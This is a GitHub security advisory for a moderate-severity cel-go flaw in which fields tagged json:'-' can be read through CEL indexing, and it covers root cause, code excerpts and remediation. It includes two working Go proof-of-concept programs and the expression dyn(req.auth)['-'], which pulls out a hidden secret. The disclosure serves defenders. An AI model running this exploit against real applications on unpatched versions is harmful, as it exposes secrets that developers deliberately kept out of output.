Skip to content

cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

Moderate severity GitHub Reviewed Published Jul 23, 2026 in cel-expr/cel-go • Updated Jul 24, 2026

Package

gomod github.com/google/cel-go (Go)

Affected versions

>= 0.22.0, <= 0.28.1

Patched versions

0.29.0

Description

The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].

Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.

Root cause

In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.

See at ext/native.go:146:

func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
    return func(field reflect.StructField) string {
        tag, found := field.Tag.Lookup(structTagToParse)
        if found {
            splits := strings.Split(tag, ",")
            if len(splits) > 0 {
                // We make the assumption that the leftmost entry in the tag is the name.
                // This seems to be true for most tags that have the concept of a name/key, such as:
                // https://pkg.go.dev/encoding/xml#Marshal
                // https://pkg.go.dev/encoding/json#Marshal
                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
                name := splits[0]
                return name
            }
        }

        return field.Name
    }
}

For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.

This contradicts the encoding/json rule that the source comment explicitly points readers to:

As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".

The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:

// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
    return func(ntp *nativeTypeOptions) error {
        ntp.fieldNameHandler = fieldNameByTag(tag)
        return nil
    }
}

A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.

The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.

See at ext/native.go:663:

if fieldNameHandler != nil {
    fieldNames := make(map[string]struct{})

    for idx := 0; idx < refType.NumField(); idx++ {
        field := refType.Field(idx)
        fieldName := toFieldName(fieldNameHandler, field)

        if _, found := fieldNames[fieldName]; found {
            return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
        } else {
            fieldNames[fieldName] = struct{}{}
        }
    }
}

Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.

See at ext/native.go:286:

func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
    if t, found := tp.nativeTypes[typeName]; found {
        fieldCount := t.refType.NumField()
        fields := make([]string, fieldCount)
        for i := 0; i < fieldCount; i++ {
            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
        }
        return fields, true
    }
    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
        return celTypeFields, true
    }
    return tp.baseProvider.FindStructFieldNames(typeName)
}

Field lookup also treats the name as valid and returns the underlying Go field value.

See at ext/native.go:303:

func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
    t, found := tp.nativeTypes[typeName]
    if !found {
        return tp.baseProvider.FindStructFieldType(typeName, fieldName)
    }
    refField, isDefined := t.hasField(fieldName)
    if !found || !isDefined {
        return nil, false
    }

    return &types.FieldType{
        IsSet: func(obj any) bool {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return !refField.IsZero()
        },
        GetFrom: func(obj any) (any, error) {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return getFieldValue(refField), nil
        },
    }, true
}

At runtime, native objects advertise index access.
See at ext/native.go:37:

var (
    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)

Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:

dyn(req.auth)["-"]

The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.

See at ext/native.go:501:

case jsonStructType:
    refVal := reflect.Indirect(o.refValue)
    refType := refVal.Type()
    fields := make(map[string]*structpb.Value, refVal.NumField())
    for i := 0; i < refVal.NumField(); i++ {
        fieldType := refType.Field(i)
        fieldValue := refVal.Field(i)
        if !fieldValue.IsValid() || fieldValue.IsZero() {
            continue
        }
        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
        fieldCELVal := o.NativeToValue(fieldValue.Interface())
        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
        if err != nil {
            return nil, err
        }
        fields[fieldName] = fieldJSONVal.(*structpb.Value)
    }
    return &structpb.Struct{Fields: fields}, nil

This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.

The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.

See at ext/native.go:609:

func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
    nt, err := newNativeType(fieldNameHandler, rawType)
    if err != nil {
        return nil, err
    }
    result := []*nativeType{nt}

    var iterateStructMembers func(reflect.Type)
    iterateStructMembers = func(t reflect.Type) {
        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
            iterateStructMembers(t.Elem())
            return
        }
        if t.Kind() != reflect.Struct {
            return
        }

        nt, ntErr := newNativeType(fieldNameHandler, t)
        if ntErr != nil {
            err = ntErr
            return
        }
        result = append(result, nt)

        for idx := 0; idx < t.NumField(); idx++ {
            iterateStructMembers(t.Field(idx).Type)
        }
    }
    iterateStructMembers(rawType)

    return result, err
}

As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.

Reproduction

package main

import (
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"
)

// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // server-internal; never appears in JSON output
}

// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.
        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.Req")),
    )
    ast, _ := env.Compile(`dyn(req.auth)["-"]`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })
    fmt.Println(out) // sk-live-s3cr3t
}

Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.

The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.

path 1. CEL indexing

Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:

require github.com/google/cel-go v0.28.1

Running the PoC above (go run main.go) produces:

sk-live-s3cr3t

The secret value is returned verbatim, with no error at compile time or at runtime.

Path 2. ConvertToNative(jsonStructType)

When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".

package main

import (
    "encoding/json"
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"

    structpb "google.golang.org/protobuf/types/known/structpb"
)

type AuthCtxConv struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // should never appear in JSON output
}

type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.ReqConv")),
    )

    ast, _ := env.Compile(`req.auth`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })

    jsonStructType := reflect.TypeOf(&structpb.Struct{})
    raw, _ := out.ConvertToNative(jsonStructType)

    st := raw.(*structpb.Struct)
    b, _ := json.MarshalIndent(st.AsMap(), "", "  ")
    fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
    fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
    if v, ok := st.Fields["-"]; ok {
        fmt.Printf("Value: %s\n", v.GetStringValue())
    }
}

Running the PoC above produces:

ConvertToNative(jsonStructType) output:
{
  "-": "sk-live-s3cr3t",
  "userId": "alice"
}

Direct field access via "-" key present: true
Value: sk-live-s3cr3t

The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.

Impact

Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.

Remediation

Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.

Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.

Apply that skip decision consistently anywhere native fields are exposed or resolved:

  • duplicate-name validation in newNativeType
  • field enumeration in FindStructFieldNames
  • field type lookup in FindStructFieldType
  • runtime lookup in fieldByName / hasField
  • object construction in NewValue
  • JSON conversion in ConvertToNative(jsonStructType)

Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.

References

@TristonianJones TristonianJones published to cel-expr/cel-go Jul 23, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Jul 24, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Private Data Structure Returned From A Public Method

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-gcjh-h69q-9w9g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.